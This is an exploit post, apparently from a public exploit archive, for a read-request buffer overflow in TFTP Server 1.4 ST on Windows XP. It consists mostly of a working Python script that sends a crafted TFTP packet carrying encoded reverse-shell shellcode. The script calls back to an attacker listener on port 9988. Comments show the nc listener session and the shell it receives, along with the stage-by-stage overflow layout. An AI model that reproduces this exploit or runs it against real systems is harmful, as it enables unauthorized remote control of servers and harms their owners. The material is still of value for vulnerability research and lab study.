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TFTP Server 1.4 ST RRQ Overflow

TFTP Server 1.4 ST RRQ Overflow
Posted Jan 11, 2012
Authored by b33f

TFTP Server version 1.4 read request packet buffer overflow exploit that spawns a reverse shell to port 9988.

tags | exploit, overflow, shell
MD5 | 52dfa4446ea68bd5d74f34e3c329c377

TFTP Server 1.4 ST RRQ Overflow

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#!/usr/bin/python

#---------------------------------------------------------------------------#
# Exploit: TFTP SERVER V1.4 ST (RRQ Overflow) #
# OS: Windows XP PRO SP3 #
# Author: b33f #
#---------------------------------------------------------------------------#
# Smashing the stack for fun and practise... #
# #
# This tftp service have been pwned extensively: #
# (1) Muts ==> WRQ Overflow #
# http://www.exploit-db.com/exploits/5314/ #
# (2) Molotov ==> WRQ Overflow #
# http://www.exploit-db.com/exploits/10542/ #
# (3) tixxDZ ==> ERROR Overflow #
# http://www.exploit-db.com/exploits/5563/ #
# #
# Vulnerable software: #
# http://www.exploit-db.com/application/5314/ #
#---------------------------------------------------------------------------#
# After some simple fuzzing with spike I discovered that sending a Read #
# Request (RRQ) packet can also trigger a buffer overflow... #
#---------------------------------------------------------------------------#
# It might take up to 30 seconds for some reason but the shell does appear #
# as expected.... #
# #
# root@bt:~# nc -lvp 9988 #
# listening on [any] 9988 ... #
# 192.168.111.128: inverse host lookup failed: Unknown server error #
# connect to [192.168.111.132] from (UNKNOWN) [192.168.111.128] 1072 #
# Microsoft Windows XP [Version 5.1.2600] #
# (C) Copyright 1985-2001 Microsoft Corp. #
# #
# C:\Program Files\TFTPServer> #
#---------------------------------------------------------------------------#

import socket
import sys

host = '192.168.111.128'
port = 69

try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

except:
print "socket() failed"
sys.exit(1)

#msfpayload windows/shell_reverse_tcp LHOST=192.168.111.132 LPORT=9988 R| msfencode -b '\x00'
#x86/shikata_ga_nai succeeded with size 341 (iteration=1)
shell = (
"\xbb\x3c\xef\xdb\xc5\xdb\xdd\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
"\x4f\x31\x5a\x14\x83\xc2\x04\x03\x5a\x10\xde\x1a\x27\x2d\x97"
"\xe5\xd8\xae\xc7\x6c\x3d\x9f\xd5\x0b\x35\xb2\xe9\x58\x1b\x3f"
"\x82\x0d\x88\xb4\xe6\x99\xbf\x7d\x4c\xfc\x8e\x7e\x61\xc0\x5d"
"\xbc\xe0\xbc\x9f\x91\xc2\xfd\x6f\xe4\x03\x39\x8d\x07\x51\x92"
"\xd9\xba\x45\x97\x9c\x06\x64\x77\xab\x37\x1e\xf2\x6c\xc3\x94"
"\xfd\xbc\x7c\xa3\xb6\x24\xf6\xeb\x66\x54\xdb\xe8\x5b\x1f\x50"
"\xda\x28\x9e\xb0\x13\xd0\x90\xfc\xff\xef\x1c\xf1\xfe\x28\x9a"
"\xea\x75\x43\xd8\x97\x8d\x90\xa2\x43\x18\x05\x04\x07\xba\xed"
"\xb4\xc4\x5c\x65\xba\xa1\x2b\x21\xdf\x34\xf8\x59\xdb\xbd\xff"
"\x8d\x6d\x85\xdb\x09\x35\x5d\x42\x0b\x93\x30\x7b\x4b\x7b\xec"
"\xd9\x07\x6e\xf9\x5b\x4a\xe7\xce\x51\x75\xf7\x58\xe2\x06\xc5"
"\xc7\x58\x81\x65\x8f\x46\x56\x89\xba\x3e\xc8\x74\x45\x3e\xc0"
"\xb2\x11\x6e\x7a\x12\x1a\xe5\x7a\x9b\xcf\xa9\x2a\x33\xa0\x09"
"\x9b\xf3\x10\xe1\xf1\xfb\x4f\x11\xfa\xd1\xf9\x16\x6d\x1a\x51"
"\xf7\xea\xf2\xa0\x07\xd4\x06\x2c\xe1\x70\x17\x78\xba\xec\x8e"
"\x21\x30\x8c\x4f\xfc\xd0\x2d\xdd\x9b\x20\x3b\xfe\x33\x77\x6c"
"\x30\x4a\x1d\x80\x6b\xe4\x03\x59\xed\xcf\x87\x86\xce\xce\x06"
"\x4a\x6a\xf5\x18\x92\x73\xb1\x4c\x4a\x22\x6f\x3a\x2c\x9c\xc1"
"\x94\xe6\x73\x88\x70\x7e\xb8\x0b\x06\x7f\x95\xfd\xe6\xce\x40"
"\xb8\x19\xfe\x04\x4c\x62\xe2\xb4\xb3\xb9\xa6\xc5\xf9\xe3\x8f"
"\x4d\xa4\x76\x92\x13\x57\xad\xd1\x2d\xd4\x47\xaa\xc9\xc4\x22"
"\xaf\x96\x42\xdf\xdd\x87\x26\xdf\x72\xa7\x62")

#---------------------------------------------------------------------------#
# (1) Stage1: 0x00409605 TFTPServer.exe - PPR #
# => 3-byte overwrite using the mandatory protocol null-byte. #
# (2) Stage2: jump back 5-bytes "\xEB\xF9" so we have room for a far jump. #
# (3) Stage3: jump back 1490-bytes to the beginning of our buffer. #
# (4) Stage4: reverse shell port 9988 - size 341 #
#---------------------------------------------------------------------------#

stage4 = "\x90"*50 + shell
stage3 = "\xE9\x2E\xFA\xFF\xFF"
stage2 = "\xEB\xF9\x90\x90"
stage1 = "\x05\x96\x40"

filename = stage4 + "A"*(1487-len(stage4)) + stage3 + stage2 + stage1


mode = "netascii"
youlose = "\x00\x01" + filename + "\x00" + mode + "\x00"
s.sendto(youlose, (host, port))

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